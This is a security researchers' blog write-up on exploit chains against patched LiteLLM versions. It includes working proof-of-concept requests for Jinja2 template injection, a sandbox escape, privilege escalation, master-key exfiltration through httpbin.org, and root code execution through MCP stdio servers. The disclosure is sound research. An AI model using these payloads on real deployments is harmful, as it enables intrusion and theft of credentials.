Race Against The Patch: The Evolution of Four Exploit Chains in LiteLLM

The Arena and The Target

It all started with Pwn2Own Berlin 2026. As AI technology explodes, major security competitions are turning their attention to AI infrastructure. In the official rules for this Pwn2Own, the highly anticipated Local Inference Category was introduced. One of the targets is LiteLLM.

For those who aren’t familiar with LiteLLM: it’s a popular lightweight LLM gateway/proxy tool. It allows developers to call hundreds of different LLM model services through a unified API format. As a gateway, it naturally sits at the core hub of application-layer interactions. It not only has to handle complex Authentication, Routing, and Billing, but also process a massive amount of input data from clients.

For vulnerability researchers, a middleware written in Python that packs such complex features and sits at the core network boundary is a literal goldmine of attack vectors.

Our immediate reaction was: Let’s do this! Since LiteLLM’s use cases typically involve high privileges (often configured with high-value API Keys, and sometimes having the ability to directly affect the host system), achieving a full-chain exploit on it would not only yield a hefty bounty but also demonstrate immense technical value. Consequently, our team quickly assembled, investing a massive amount of time and effort into conducting carpet-bombing style code audits and vulnerability hunting on LiteLLM.

But at that moment, we didn’t realize that this journey to prepare for Pwn2Own would ultimately turn into an extremely blood-pressure-raising “race against the patch.”

In a very short period, we were practically forced to develop several complete full-chain exploit schemes for this target. This article is a showcase of the “arsenal” we never got to bring to the arena, and a definitive record of our vulnerability research into LiteLLM.

The Attack Scenario: Rules of Engagement

Before formally diving into the technical breakdown of the four full-chain exploits in the subsequent sections, we need to add some context regarding the attack scenario we defined.

During our preparation, to ensure our exploit chains met Pwn2Own’s strict scoring criteria, we communicated with ZDI via email to clarify the accepted attack conditions. Ultimately, the full attack scenario we settled on was: Assuming the attacker possesses a standard internal user key, using this as the starting point for the compromise.

In fact, prior to this, we were indeed holding onto several vulnerabilities capable of directly popping a shell without any authentication (pre-auth). Unfortunately, Pwn2Own has extremely strict requirements regarding the “Default Configuration” of the target environment. Those pre-auth vulnerabilities often relied on certain non-default settings or specific edge conditions, meaning they couldn’t be used as valid payloads for the competition.

The Arsenal: Four Chains Across Four Versions

As LiteLLM frequently patched and frantically iterated its versions, our attack chains were forced to constantly evolve. In this brief but intense game of cat and mouse, we were practically writing exploits while chasing the official commit logs.

Next, we will formally unveil the four full-chain exploit schemes born out of this “race.” To clearly illustrate this adversarial process, this article will follow the timeline to focus on the full-chain exploits we successfully compromised across the following four specific versions:

Behind every version update lies a tear-jerking history of “finding the bug -> crafting the exploit chain -> getting instantly patched by the vendor -> finding a new entry point and starting all over again.” Although the ultimate goal was always to pivot from a restricted internal user to achieving server RCE (Remote Code Execution), we had to employ vastly different vulnerability combinations and exploitation techniques to bypass the security patches introduced in different versions.

Now, let’s raise the curtain and dismantle the attack paths of these versions one by one.

Target Version 1.82.3 / Where it all begin

During our research into version 1.82.3, we had not yet confirmed the attack scenario with ZDI. Consequently, for this version, we assumed the attacker did not possess a valid internal user key. This meant the attack would need to bypass all authentication mechanisms – making it a pure pre-auth exploit.

In an era dominated by AI, we naturally leveraged LLM to research our target. Utilizing Claude 4.6 Opus, we began with a straightforward approach: asking Opus to perform code scans and attempt to identify vulnerabilities that could bypass authentication. Among the findings, one particular scan result caught our attention.

Bug 1.a: Authentication Bypass on Database Unavailability

The entire auth builder is wrapped so that any exception is routed to the fallback handler:

# user_api_key_auth.py:1560  (v1.82.3) — wraps the whole builder
except Exception as e:
    return await UserAPIKeyAuthExceptionHandler._handle_authentication_error(...)

# auth_exception_handler.py:55-69  (v1.82.3)
if (
    PrismaDBExceptionHandler.should_allow_request_on_db_unavailable()   # config True
    and PrismaDBExceptionHandler.is_database_connection_error(e)        # ANY PrismaError
):
    return UserAPIKeyAuth(
        key_name="failed-to-connect-to-db",
        token="failed-to-connect-to-db",
        user_id=litellm_proxy_admin_name,   # <-- "default_user_id" = PROXY ADMIN identity
        request_route=route,
    )

The except Exception as e block at user_api_key_auth.py catches ALL exceptions from the entire auth builder. When a request with no valid Bearer token arrives and the DB is down, the code tries to look up the key in the DB, gets a connection error, and the exception propagates to this handler. If allow_requests_on_db_unavailable=True, admin-level access is granted with no key validation at all.

Combining this with a DB DoS vulnerability could lead to an authentication bypass, allowing an attacker to escalate privileges to admin without knowing any valid virtual key. Although this requires allow_requests_on_db_unavailable to be set to true in the configuration, we still deemed it worth digging into: if ZDI allows such a configuration during the contest, this would be a powerful exploit primitive.

So our next task for Opus was straightforward: find a DB DoS bug. And it didn’t disappoint: within a few minutes, it found such a bug to chain with the initial vulnerability.

Bug 1.b: Prisma DB Connection-pool exhaustion

Every request runs user_api_key_auth(), which hashes the Bearer token and looks it up. A fabricated key never hits the in-memory cache and failed lookups are not negatively cached, so each unique fake key forces a fresh Prisma query and holds a pool connection until it completes:

# auth_checks.py — get_key_object()  (v1.82.3)
cached_key_obj = await user_api_key_cache.async_get_cache(key=key)
if cached_key_obj is not None:
    return cached_key_obj          # fabricated key -> always MISS
...
_valid_token = await _fetch_key_object_from_db_with_reconnect(...)   # DB QUERY

The Prisma pool defaults to 10 connections / 60s timeout and there is no rate limiting on the auth path. Flooding unknown-key requests across auth’d and DB-touching endpoints (/models, /key/list, /user/list, etc) saturates the pool; further lookups raise prisma.errors.PrismaError (pool timeout / connection error), which is what bug 1.a needed.

By combining bug 1.a and bug 1.b, we can use the following steps to escalate the privilege to PROXY_ADMIN without any valid virtual key:

Config has allow_requests_on_db_unavailable: true.
Attacker has no valid credentials — only a fabricated key, e.g. sk-fake-attack-key-00000000.
Attacker floods DB-touching endpoints at high concurrency with the fake key.
Pool exhausted → new auth DB lookups raise prisma.errors.PrismaError (pool timeout/connection error).
In the same window, attacker sends POST /key/generate with the fake key and body: {"user_id": "default_user_id", "max_budget": 999999, "duration": "365d"}.
Auth code tries the DB lookup for this request → pool-timeout PrismaError → exception handler fires. Due to bug 1.a, the request now proceeds as proxy admin, allowing attacker to generate a PROXY_ADMIN key.
The request must land in the narrow window where the pool is saturated enough for the auth lookup to fail (step 6) yet the engine can still write — the attacker races many /key/generate probes to hit it. On success, a new PROXY_ADMIN key will be generated and return to attacker, giving the attacker full PROXY_ADMIN privilege.

We later successfully developed an exploit for this. Here is the execution result of a successful attack:

On success, the exploit will gave us the PROXY_ADMIN key, allowing us become PROXY_ADMIN and do further attack. With this primitive, we again ask Opus to scan for post-auth RCE vulnerabilities.

Bug 2: Jinja2 SSTI via /prompts/test

In LiteLLM there’s this /prompts/test endpoint, which passes the attacker-controlled request field dotprompt_content directly into jinja_env.from_string(...).render(...). Jinja2’s default environment permits full Python object-attribute traversal during template evaluation, so a template expression can pivot from a built-in global to the os module and execute arbitrary OS commands — a classic Server-Side Template Injection (SSTI) leading to RCE.

# litellm/integrations/dotprompt/prompt_manager.py:62  (v1.82.3)
from jinja2 import DictLoader, Environment, select_autoescape

self.jinja_env = Environment(
    loader=DictLoader({}),
    autoescape=select_autoescape(["html", "xml"]),   # [A]
    variable_start_string="{{",
    variable_end_string="}}",
    block_start_string="{%",
    block_end_string="%}",
    comment_start_string="{#",
    comment_end_string="#}",
)

A plain jinja2.Environment evaluates template expressions with no restriction on Python attribute access. At render time, an expression such as {{ x.__class__ }} or {{ cycler.__init__.__globals__ }} is fully resolved against live Python objects. Jinja2 ships several objects in the global template namespace by default (cycler, joiner, namespace, range, dict, …); each is an ordinary Python object whose dunder attributes (__init__, __globals__, __class__, __mro__, __subclasses__, __builtins__) are reachable. From any one of them an attacker can walk the object graph to an imported module that exposes process/OS primitives and call them.

The autoescape at [A] only HTML/XML-escapes the rendered output string (mitigating reflected XSS when the output is later placed in markup). It does not constrain which Python objects or attributes the template expression may traverse during evaluation, and therefore provides zero protection against server-side code execution.

PoC to reproduce the bug:

Replace <PROXY_ADMIN_KEY> with a valid proxy admin key.

curl -X POST http://<TARGET_IP>:4000/prompts/test \
  -H "Authorization: Bearer <PROXY_ADMIN_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"prompt_name": "poc", "prompt_variables": {}, "dotprompt_content": "---\nmodel: x\n---\n{{ cycler.__init__.__globals__.os.stat(cycler.__init__.__globals__.os.popen('\''id'
\'').read()) }}"}'

Response (HTTP 500) — contains the id output:

{
  "detail": "[Errno 2] No such file or directory: 'uid=0(root) gid=0(root) groups=0(root)\n'"
}

By combining this vulnerability with bug 1, we have a pre-auth root RCE.

Bug 3: Python Sandbox Escape via Custom Code Guardrail

Beside bug 2, we also found another post-auth RCE vulnerability in LiteLLM’s Custom Code Guardrail feature. The feature lets a PROXY_ADMIN supply arbitrary Python that the proxy executes with exec(). Execution is “sandboxed” by a regex denylist plus an emptied __builtins__ and a curated set of helper primitives. The sandbox is unsound: the curated primitives are live Python functions, and a coroutine returned by one of the async HTTP primitives exposes the interpreter’s real builtins through its frame object (cr_frame.f_builtins). From there an attacker recovers __import__, imports os, and runs OS commands.

The POST /guardrails/test_custom_code handler executes user-supplied Python after two “sandboxing” layers:

# litellm/proxy/guardrails/guardrail_endpoints.py  (v1.82.3)
if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN:      # :2015 admin-only
    raise HTTPException(status_code=403, ...)
...
validate_custom_code(request.custom_code)                            # :2027 regex denylist
...
exec_globals = get_custom_code_primitives().copy()                   # :2036 curated helpers
exec_globals["__builtins__"] = {}                                    # :2039 strip builtins
exec(compile(request.custom_code, "<guardrail>", "exec"), exec_globals)   # :2042 SINK

Both layers are defeatable, and the design is unsound for a fundamental reason: the sandbox namespace contains live Python objects. Any reachable live object can be used to walk back to the interpreter’s real state.

1. The denylist is a string blocklist (code_validator.py). It forbids specific tokens — import, __import__(, __builtins__, __globals__, __class__, __subclasses__, os., sys., etc. It does not forbid the sibling attributes that achieve the same result, notably cr_frame (a coroutine’s frame) and f_builtins (a frame’s real builtins dict). It also matches __import__ only when immediately followed by (, so reading __import__ as a dictionary key (d["__import__"]) slips through.

2. Emptying __builtins__ only affects the sandbox frame. Setting exec_globals["__builtins__"] = {} removes builtins from the executed code’s globals — but the curated primitives (get_custom_code_primitives()) were defined in primitives.py and still carry that module’s normal globals and builtins. They are handed to the sandbox as callable objects.

3. A coroutine leaks the real builtins. Three primitives are async def — http_request, http_get, http_post. Calling one without awaiting returns a coroutine object whose cr_frame is the function’s frame, and frame.f_builtins is the genuine, unrestricted builtins dictionary:

http_get("http://127.0.0.1")      # coroutine, not awaited
  .cr_frame                       # its frame  (cr_frame not on denylist)
  .f_builtins                     # REAL builtins dict (f_builtins not on denylist)
  ["__import__"]                  # recover __import__ (key access, not a call -> not blocked)
  ("os")                          # import os ("os" string, no dot -> not blocked)
  .popen("id").read()             # execute (os_mod.popen, not "os." -> not blocked)

None of these tokens match the denylist, and the recovered __import__ runs with full builtins regardless of exec_globals["__builtins__"] = {}. The “sandbox” is therefore bypassed entirely.

PoC:

Replace <PROXY_ADMIN_KEY> with a valid proxy admin key.

curl -X POST http://<TARGET_IP>:4000/guardrails/test_custom_code \
  -H "Authorization: Bearer <PROXY_ADMIN_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    bi = http_get(\"http://127.0.0.1\").cr_frame.f_builtins\n    return block(bi[\"__import__\"](\"os\").popen(\"id\").read())", "test_input": {"texts": ["x"]}, "input_type": "request"}'

Response (HTTP 200) — contains the id output:

{
  "success": true,
  "result": {
    "action": "block",
    "reason": "uid=0(root) gid=0(root) groups=0(root)\n"
  }
}

Combining this vulnerability with bug 1 also give us a pre-auth root RCE.

Result

In the end, we discovered three vulnerabilities and developed two pre-auth RCE exploits for LiteLLM v1.82.3. However, this didn’t remain viable for long. First, our Bug 3 was made public by another research team in their blog. Shortly after, Bug 2 was patched. Most importantly, ZDI later clarified that they would not permit allow_requests_on_db_unavailable: true in the environment, meaning our authentication bypass fell out of scope. However, they simultaneously confirmed that attackers would be provided with a valid virtual key possessing the internal_user role. We then shifted our focus to hunting for vulnerabilities in the newer version.

Ultimately, all the vulnerabilities we identified during this phase have been fixed:

Bug 1 (authentication bypassing): “fix(auth): centralize common_checks to close authorization bypass”
Bug 2 (Jinja2 SSTI): “fix(proxy): improve input validation on management endpoints”
Bug 3 (Python Sandbox escape): “fix(guardrails): replace custom_code sandbox with RestrictedPython”

Starting from this version, we now confirmed that we’ll have a virtual key with the internal_user role. Before diving into the vulnerabilities, here’s a quick overview of LiteLLM’s role hierarchy:

proxy_admin               ->    Full access: all admin APIs,MCP server creation
internal_user             ->    Supposed to only call inference endpoints
internal_user_viewer      ->    Read-only

Our staring point is internal_user . Our final goal is to get root shell inside the LiteLLM proxy server container.

Bug 1: Premium gate bypass in /key/generate

This bug was found when we were auditing one of the patches from v1.82.3 (d910a95661, the fix for Jinja2 SSTI) with Opus.

allowed_passthrough_routes controls which pass-through endpoints a key can access — in theory, only a proxy_admin should be able to set it. d910a95661 added this check in /key/generate:

# key_management_endpoints.py  generate_key_fn
_check_allowed_routes_caller_permission(
    allowed_routes=data.allowed_routes,   # Only checks the top-level field
                                          
    user_api_key_dict=user_api_key_dict,
)
# data.allowed_passthrough_routes → not checked

The top-level field has a premium check, but nesting allowed_passthrough_routes inside the metadata dict bypasses it entirely — _set_object_metadata_field only validates top-level request fields:

# common_utils.py:320-344  (v1.83.7) — the gate that the loop is supposed to trigger
def _set_object_metadata_field(object_data, field_name, value):
    if field_name in LiteLLM_ManagementEndpoint_MetadataFields_Premium:
        _premium_user_check(field_name)          # the intended block
    object_data.metadata = object_data.metadata or {}
    object_data.metadata[field_name] = value

GenerateKeyRequest.metadata is an untyped Optional[dict] with no schema on its contents. So:

// Path (a) — top-level field: BLOCKED by _premium_user_check
{ "allowed_passthrough_routes": ["/user"] }

// Path (b) — nested in metadata: NOT inspected by the loop -> persisted verbatim
{ "metadata": { "allowed_passthrough_routes": ["/user"] } }

For path (b), getattr(data, "allowed_passthrough_routes", None) is None (the top-level attribute was never set), so the loop body — and therefore _premium_user_check — never runs. After data.model_dump(...) the value lands in data_json["metadata"] and is written to LiteLLM_VerificationToken.metadata. The same blind spot applies to every field in the Premium list (guardrails, policies, tags, …), including allowed_passthrough_routes, which later allows user to access route such as /user/update and do further exploitation.

PoC:

A single request from a low-privilege INTERNAL_USER key smuggles the enterprise-only field through the metadata dict:

curl -X POST http://<TARGET_IP>:4000/key/generate \
  -H "Authorization: Bearer <INTERNAL_USER_KEY>" \
  -H "Content-Type: application/json" \
  -d '{"metadata": {"allowed_passthrough_routes": ["/user","/team","/model","/prompts","/jwt"]}}'

Response (HTTP 200) — the premium field was accepted and persisted on the new key:

{
  "key": "sk-ESC...",
  "metadata": {"allowed_passthrough_routes": ["/user","/team","/model","/prompts","/jwt"]}
}

A correctly-gated server would reject this with _premium_user_check (premium required) / admin-only. Instead, a non-premium, non-admin key now carries an admin-class scoping field ( "allowed_passthrough_routes": ["/user", ...] ).

Bug 2: The Route Gate Uses Prefix Matching

The route auth layer check_passthrough_route_access (route_checks.py:532) reads directly from that metadata:

metadata = user_api_key_dict.metadata
allowed_passthrough_routes = (
    metadata.get("allowed_passthrough_routes") or []
)

...

for allowed_route in allowed_passthrough_routes:
    if RouteChecks._route_matches_allowed_route(route=route, allowed_route=allowed_route):
        return True

_route_matches_allowed_route does prefix matching. One entry of "/team" grants access to:

/team/new
/team/member_add
/team/member_delete
/team/delete
……

"/invitation" covers /invitation/new. "/user" covers /user/update. And so on. This is a bug since if there’s entry such as /user, it’d grant access to endpoint like /user/123, without verifying if /user/123 exist or not.

From Bug 1, we already established that an attacker can now carry an admin-level scoped field, "allowed_passthrough_routes": ["/user", ...]. This grants the attacker access to /user/update, which leads us directly to our third bug.

Bug 3: `/user/update` Privilege Escalation — Non-Admin Can Set `user_role`

POST /user/update lets a caller modify a user row, and on a self-update the only permission check is “is this my own row?”. The handler then copies every submitted field — including user_role — into the database update with no filter. A non-admin updating their own row can therefore set user_role: "proxy_admin" and become a full proxy admin. The equivalent guard exists on /user/new but was never applied to /user/update.

The only authorization check on the update path treats a self-update as fully allowed:

# internal_user_endpoints.py:1268-1279  can_user_call_user_update  (v1.83.7)
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
    return True
elif user_api_key_dict.user_id == user_info.user_id:
    return True          # <-- SELF-UPDATE always allowed
return False

_update_internal_user_params then copies every non-empty submitted value — including user_role — into the update dict, with no field-level filter.

The DB write lands with user_role = "proxy_admin". Contrast with /user/new, which explicitly blocks this:

# internal_user_endpoints.py:444-453  (/user/new)  — the guard that /user/update lacks
if (data.user_role in [PROXY_ADMIN, PROXY_ADMIN_VIEW_ONLY]
        and user_api_key_dict.user_role != PROXY_ADMIN):
    raise HTTPException(403, "Only proxy admins can create administrative users ...")

From `PROXY_ADMIN` to root RCE

Combining Bug 1 - Bug 3, we were able to escalate our privilege from internal_user to PROXY_ADMIN. We then found a way to gain root RCE on LiteLLM proxy server by manipulating MCP stdio server.

When creating a MCP stdio server, NewMCPServerRequest.validate_transport_fields validates stdio submissions against an allowlist of base commands:

MCP_STDIO_ALLOWED_COMMANDS = frozenset({"npx","uvx","python","python3","node","docker","deno"} | ...)

The constant’s own comment acknowledges:

“Note: allowlisted runtimes can still execute code via args (e.g. python -c "..."). This is an accepted residual risk since these endpoints require PROXY_ADMIN.”

So it’s possible for us to create MCP server with command python -c ... and execute arbitrary python code. Here are the steps to achieve this:

# Create MCP server (admin-only)
POST /v1/mcp/server
{
  "server_id": "pwn<rand>",
  "server_name": "pwn<rand>",
  "transport": "stdio",
  "command": "python3",
  "args": ["-c", "<python payload that runs your shell command>"],
  "env": {}, "auth_type": "none"
}

# Trigger python code
POST /mcp-rest/test/connection
<same body>

The subprocess runs as the LiteLLM process owner (typically root inside the official container).

Result

We successfully created an exploit for this and gain root RCE on LiteLLM v1.83.7. However, LiteLLM quickly patched Bug 3, breaking the exploit:

“fix: align field-level checks in user and key update endpoints”

Undeterred, we decided to keep digging for vulnerabilities in the newer version.

Target Version 1.83.10 / The Gateless Gate

Since Bug 1 and Bug 2 remain unpatched and identical to the ones in version 1.83.7, we will skip the repetition and start directly with Bug 3.

Bug 3: `/onboarding/get_token` Zero Authentication

With Bug 2, we still have route access in our hand. We just need a path to become proxy_admin. In proxy_server.py:11845:

@app.get("/onboarding/get_token", include_in_schema=False)
async def onboarding(invite_link: str, request: Request):
    # ↑ No dependencies=[Depends(user_api_key_auth)]
    # ↑ No auth dependency whatsoever
    ...
    invite_obj = await prisma_client.db.litellm_invitationlink.find_unique(
        where={"id": invite_link}
    )
    ...
    token = create_jwt_token(user_obj=user_obj, ...)
    return {"token": token}
    # ↑ JWT payload contains the invitee's real sk- API key

/onboarding/get_token doesn’t have authentication. This means anyone who knows the invite_link UUID — including a completely unauthenticated request — can retrieve the invitee’s full API key, inheriting their user_role.

The question becomes: can we manufacture an invitation link targeting a proxy_admin?

Bug 4: A Team Admin Can Invite a proxy_admin

In /invitation/new, non-admin callers fall through to _team_admin_can_invite_user (common_utils.py:204):

async def _team_admin_can_invite_user(
    user_api_key_dict, admin_user_obj, target_user_obj, prisma_client
) -> bool:
    ...
    target_team_ids = set(target_user_obj.teams)
    return bool(set(admin_team_ids) & target_team_ids)
    # ↑ Only checks if target shares a team with the admin
    # ↑ Never checks the target's user_role

A team admin can invite any user who shares a team with them — even a proxy_admin. Using Bug 1 + Bug 2, we can create a team and add default_user_id (the proxy_admin user created when LiteLLM is first accessed with the master key) to it. Invitation condition met.

Full Attack Chain

[1] POST /key/generate
    {"metadata": {"allowed_passthrough_routes": ["/team","/invitation","/user","/v1/mcp","/mcp-rest"]}}
    → esc_key  [Bug 1]

[2] POST /team/new
    {"team_alias": "pwn-xxx", "members_with_roles": [{"user_id": my_uid, "role": "admin"}]}
    → team_id  [Bug 2 — route gate bypassed]

[3] POST /team/member_add
    {"team_id": team_id, "member": {"user_id": "default_user_id", "role": "user"}}
    → default_user_id (proxy_admin) enter [Bug 4 precondition]

[4] POST /user/update  {"user_id": my_uid, "metadata": {"_x": "<random>"}}
    →  Bust own user_obj cache

[5] sleep 65s
    → Wait for target cache TTL

[6] POST /invitation/new  {"user_id": "default_user_id"}
    → invite_id  [Bug 4]

[7] GET /onboarding/get_token?invite_link=<invite_id>
    ★ No Authorization header required ★  [Bug 3]
    → JWT → base64 decode JWT.payload.key → sk-xxx (proxy_admin)

[8] POST /v1/mcp/server
    {"transport": "stdio", "command": "python3", "args": ["-c", "<payload>"]}
    → MCP server registered

[9] GET /v1/mcp/server/health?server_ids=<id>
    → subprocess.Popen("python3 -c ...") → root RCE

One timing constraint: LiteLLM caches user objects in memory for 60 seconds. We must wait for default_user_id’s cache entry to expire before _user_has_admin_privileges will see the updated team membership. Hence the 65-second sleep in the chain.

Result

Leveraging Bug 1 and Bug 2 from v1.83.7, combined with two newly discovered vulnerabilities, we successfully achieved root RCE once again in v1.83.10. Unfortunately, this victory was short-lived. PR #26843 completely overhauled /onboarding/get_token by introducing session-level token verification. Consequently, an invite_link UUID alone was no longer sufficient to issue a credential, breaking our exploit yet again.

Target Version 1.83.14 / Your Own Spear

The moment PR #26843 merged, the first thing we did was read the patch diff carefully.

/onboarding/get_token had session verification. The metadata.allowed_passthrough_routes bypass itself was untouched — but every endpoint that could turn it into admin access was now closed. The /user/update role escalation path had been shut since v1.83.10. The invitation chain was gone. What we had left was a subkey with arbitrary passthrough route access, and a dead end.

So we changed our direction: skip the escalation entirely — find a way to steal LITELLM_MASTER_KEY directly.

Holding the master key is equivalent to proxy_admin — in fact it’s higher than any proxy_admin user, it’s the root credential for the entire system. With master key, the MCP stdio RCE path is trivially open.

`os.environ/VAR`

LiteLLM uses an os.environ/VAR indirection syntax throughout its configuration — admins store secrets in environment variables and put only the reference names in config files. This syntax is scattered across the entire codebase.

One thing internal_user can do is configure per-key Langfuse callback parameters via metadata.logging on /key/generate: langfuse_public_key, langfuse_secret_key, langfuse_host. All three are within internal_user’s write scope.

So: what happens if you set langfuse_secret_key to "os.environ/LITELLM_MASTER_KEY"?

Root cause: two code paths, one defended, one not.

As early as 2026-04-13, commit df75e79615 had already blocked os.environ/ references in request-body callback params via initialize_standard_callback_dynamic_params:

# litellm_core_utils/initialize_dynamic_callback_params.py
for param in _supported_callback_params:
    if param in kwargs:
        _param_value = kwargs.get(param)
        if _is_env_reference(_param_value):
            _raise_env_reference_error(param, source="request body")

But this defense only activates during the pre-call phase of inference requests, protecting callback params in real-time request bodies.

/key/generate stores metadata through an entirely different path: AddTeamCallback’s validate_callback_vars validator (_types.py:1860):

# _types.py:1860( v1.83.14, before fix)
@model_validator(mode="before")
@classmethod
def validate_callback_vars(cls, values):
    callback_vars = values.get("callback_vars", {})
    valid_keys = set(StandardCallbackDynamicParams.__annotations__.keys())
    for key, value in callback_vars.items():
        if key not in valid_keys:
            raise ValueError(f"Invalid callback variable: {key}...")
        if not isinstance(value, str):
            callback_vars[key] = str(value)
        # ← No os.environ/ check. Value written to DB as-is.
    return values

The string "os.environ/LITELLM_MASTER_KEY" is written to the database verbatim.

When this key is used in a request, convert_key_logging_metadata_to_callback (litellm_pre_call_utils.py:228) loads the metadata from DB and calls litellm.utils.get_secret to resolve the reference:

# litellm_pre_call_utils.py:228( before fix)
for var, value in data.callback_vars.items():
    if team_callback_settings_obj.callback_vars is None:
        team_callback_settings_obj.callback_vars = {}
    team_callback_settings_obj.callback_vars[var] = str(
        litellm.utils.get_secret(value, default_value=value) or value
        # get_secret("os.environ/LITELLM_MASTER_KEY")
        # -> os.environ["LITELLM_MASTER_KEY"]
        # -> the actual master key

The resolved master key is fed into the Langfuse SDK client’s secret_key field (langfuse.py:110):

# litellm/integrations/langfuse/langfuse.py:110
self.secret_key = langfuse_secret or os.getenv("LANGFUSE_SECRET_KEY")
# langfuse_secret = resolved "LITELLM_MASTER_KEY" value

The Langfuse SDK constructs HTTP Basic auth from public_key:secret_key when calling langfuse_host:

Authorization: Basic base64("MARKER" + ":" + REAL_MASTER_KEY)

The Exfil Channel: `/langfuse/anything`

LiteLLM has a built-in Langfuse passthrough route that forwards requests to the configured langfuse_host. We set langfuse_host to https://httpbin.org — its /anything path echoes all incoming request headers verbatim in the response body.

From the attacker’s perspective, the full data flow is:

Attacker                   LiteLLM Proxy                    httpbin.org
  │                                    │                               │
  │  POST /langfuse/anything           │                               │
  │  Auth: Basic base64(x:leak_key) ──►│                               │
  │                                    │  load leak_key's metadata     │
  │                                    │  get_secret("os.environ/      │
  │                                    │    LITELLM_MASTER_KEY")       │
  │                                    │  → REAL_MASTER_KEY            │
  │                                    │                               │
  │                                    │  POST /anything               │
  │                                    │  Auth: Basic                  │
  │                                    │   base64(MARKER:MASTER_KEY) ──►
  │                                    │                               │
  │                                    │◄── { "headers": {             │
  │                                    │      "Authorization":         │
  │                                    │       "Basic ..."             │
  │◄── response ───────────────────────│      } }                      │
  │  base64_decode → MARKER:MASTER_KEY │                               │

The v1.83.14 chain takes only three steps — no route bypass required, no cache TTL wait.

[1] POST /key/generate
    {
      "key_alias": "exfil",
      "metadata": {
        "logging": [{
          "callback_name": "langfuse",
          "callback_type": "success_and_failure",
          "callback_vars": {
            "langfuse_public_key": "MARKER",
            "langfuse_secret_key": "os.environ/LITELLM_MASTER_KEY",  ← store to DB
            "langfuse_host": "https://httpbin.org"
          }
        }]
      }
    }
    → leak_key

[2] POST /langfuse/anything
    Authorization: Basic base64("x:leak_key")
    Body: {"batch": []}
    → The Proxy loads the leak_key metadata and parses os.environ/LITELLM_MASTER_KEY
    → Forward to httpbin.org/anything, with Authorization: Basic base64("MARKER:REAL_MASTER_KEY")
    → The response body includes echoed headers.
    → base64 decode → LITELLM_MASTER_KEY

[3] POST /v1/mcp/server
    Authorization: Bearer LITELLM_MASTER_KEY
    {"transport": "stdio", "command": "python3", "args": ["-c", "<payload>"]}
    GET /v1/mcp/server/health?server_ids=...
    → subprocess → root RCE

Why the Earlier Fix Wasn’t Enough

This vulnerability surprised us slightly, because LiteLLM had patched a semantically near-identical issue just two weeks earlier (2026-04-13): df75e79615 blocked env-ref resolution in request bodies.

The problem was scope. df75e79615 protected the immediate path (resolving callback params during inference request pre-call). /key/generate is a storage path (writing metadata to DB). Two entirely different code paths — only one was fixed.

The deeper issue: env-ref resolution wasn’t a centralized operation — it was scattered across the codebase. Anywhere that accepted a user-supplied string and eventually passed it to get_secret() or os.environ[...] was potentially vulnerable. The fix needed to happen at write time, not by patching one resolution path.

Result

We were able to develop our fourth and final root RCE exploit for LiteLLM v1.83.14 ahead of the Pwn2Own contest. However, BerriAI quickly patched the vulnerability, as they always do: commit f2f1e3a0ba introduced validate_no_callback_env_reference to AddTeamCallback.validate_callback_vars (_types.py:1870), which rejects environment variable references during Pydantic validation before they can ever reach the database.

Around the same time we discovered our bug had been patched, we also learned that our LiteLLM entry wasn’t successfully registered due to submission limits and a high volume of participants. So, our journey ends here – or at least this is what we thought.

One Final Surprise

After Pwn2Own concluded, we discovered that the specific version of LiteLLM used in the contest was actually v1.83.14-stable.patch.3. Surprisingly, this version did not include the f2f1e3a0ba patch. In fact, our original exploit for v1.83.14 could still leak the master key without any issues.

The only hurdle was a separate commit that blocked our original RCE method via the MCP server by requiring either a cookie or authorization header for MCP server creation. This wasn’t a issue for us though: since we could still leak the master key, all we needed to do was log into the WebUI, grab the cookie, and the rest was smooth sailing.

Ultimately, we developed one final exploit tailored specifically for LiteLLM v1.83.14-stable.patch.3 – the exact version running at Pwn2Own Berlin 2026. Had our registration gone through, we would have another successful entry at the contest.

While it’s unfortunate we couldn’t compete, we still want to share and demonstrate our final result:

(The LiteLLM docker image we used for demo is docker.litellm.ai/berriai/litellm:main-v1.83.14-stable.patch.3)

The Race, At a Glance

Below is a table summarizing our race against BerriAI, the development team behind LiteLLM:

Version	Released	Attacker start	Chain (primitives → sink)	Killed by	Window
1.82.3-stable	Mar 17	Unauthenticated	DB pool exhaustion → auth-bypass-on-DB-down (admin identity) → Jinja2 SSTI or guardrail sandbox escape	SSTI fix `d910a95`; sandbox went public (X41 D-Sec); ZDI disallowed `allow_requests_on_db_unavailable`	—
1.83.0-nightly	Mar 31	-	-	-	~14 days
1.83.3-stable	Apr 14	-	-	-	~14 days
1.83.7-stable	Apr 19	`internal_user` key	Premium-gate bypass via `metadata` → prefix-match route gate → `/user/update` role escalation → MCP stdio RCE	`/user/update` field guard `e6f18ce`	~5 days*
1.83.10-stable	Apr 28	`internal_user` key	(same gate bypass) → unauth `/onboarding/get_token` leaks invitee key → team-admin can invite a `proxy_admin` → MCP stdio RCE	onboarding session verification, PR #26843	~9 days
1.83.14-stable	May 2	`internal_user` key	Stored `os.environ/LITELLM_MASTER_KEY` callback ref → Langfuse passthrough exfils master key → MCP stdio RCE	write-time env-ref rejection `f2f1e3a`	~4 days
1.83.14-stable.patch.3	May 8 (P2O build)	`internal_user` key	Same master-key leak — `f2f1e3a` not present in this build; MCP gated by cookie, so leak master key → log into WebUI → grab cookie → MCP stdio RCE	— (the version actually run at the contest)	~6 days**

* : After v1.82.3, we resume our research after the release of v1.83.7.
** : We finished the exploit after Pwn2Own.

Why were the patches so fast? A few things probably stacked up.

First, the pipeline. After a supply-chain attack on LiteLLM’s PyPI packages in March 2026, BerriAI rebuilt their release setup (the new “CI/CD v2”: isolated builds, stronger gates, signed images).

Second, the timing. The weeks we were working in were full of auth, MCP, onboarding, and callback changes. Many on the exact surfaces that we use for our chains. By the time v1.84.0 shipped, the team described this stretch as work that “shipped in tight sequence.” It looks like a hardening push before Pwn2Own.

Third, we weren’t the only ones. The same period saw other reports come in

and the X41 advisory that killed our Bug 3. That alone speeds up patching and it explains why some fixes landed on bugs we found.

Conclusion

This research started as Pwn2Own preparation, but quickly became a race against a target that kept moving under our feet.

